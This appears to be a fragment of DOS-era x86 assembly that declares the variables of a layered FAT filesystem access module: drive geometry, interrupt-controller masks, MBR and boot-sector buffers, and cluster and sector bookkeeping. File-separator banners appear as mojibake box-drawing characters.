_save_cx		dw	?
_save_si		dw	?
_sign			db	?
_number 		dd	?
_base			dd	?
_len			dd	?
_lchar			db	?

; ---------------------------------------------------------------------------

哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪腫stdio.inc]哪
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[fatsys.var]哪

; ---------------------------------------------------------------------------

level0_drive		db	?

level0_driveinfo	db	256 dup (?)
level0_max_cylinder	equ	level0_driveinfo.word ptr 02h
level0_max_head 	equ	level0_driveinfo.word ptr 06h
level0_max_sector	equ	level0_driveinfo.word ptr 0Ch

level0_cylinder 	dw	?
level0_head		dw	?
level0_sector		dw	?
level0_count		dw	?
level0_ptr		dd	?

level0_port21		db	?
level0_portA1		db	?

; ---------------------------------------------------------------------------

level1_sector		dd	?
level1_count		dw	?
level1_ptr		dd	?

; ---------------------------------------------------------------------------

level2_drivecount	dw	?
level2_drivestart	dd	26 dup (?)

level2_drive		dw	?
level2_basesector	dd	?

level2_sector		dd	?
level2_count		dw	?
level2_ptr		dd	?

level2_mbr		db	512 dup (?)

; ---------------------------------------------------------------------------

level3_boot		db	512 dup (?)

level3_reserved 	dd	?
level3_sectperfat	dd	?
level3_fatcopies	dd	?
level3_rootdirentries	dd	?
level3_rootdirsectors	dd	?
level3_sectpercluster	dd	?
level3_rootstart	dd	?
level3_datastart	dd	?
level3_totalsectors	dd	?
level3_totalclusters	dd	?

level3_cachesector	dd	?
level3_cache		db	512 dup (?)

level3_cluster		dw	?
level3_count		dw	?
level3_ptr		dd	?

; ---------------------------------------------------------------------------

dosalloc_seg		dw	?

dir_ptr 		dd	?
buf_ptr 		dd	?

; ---------------------------------------------------------------------------
哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪[fatsys.var]哪
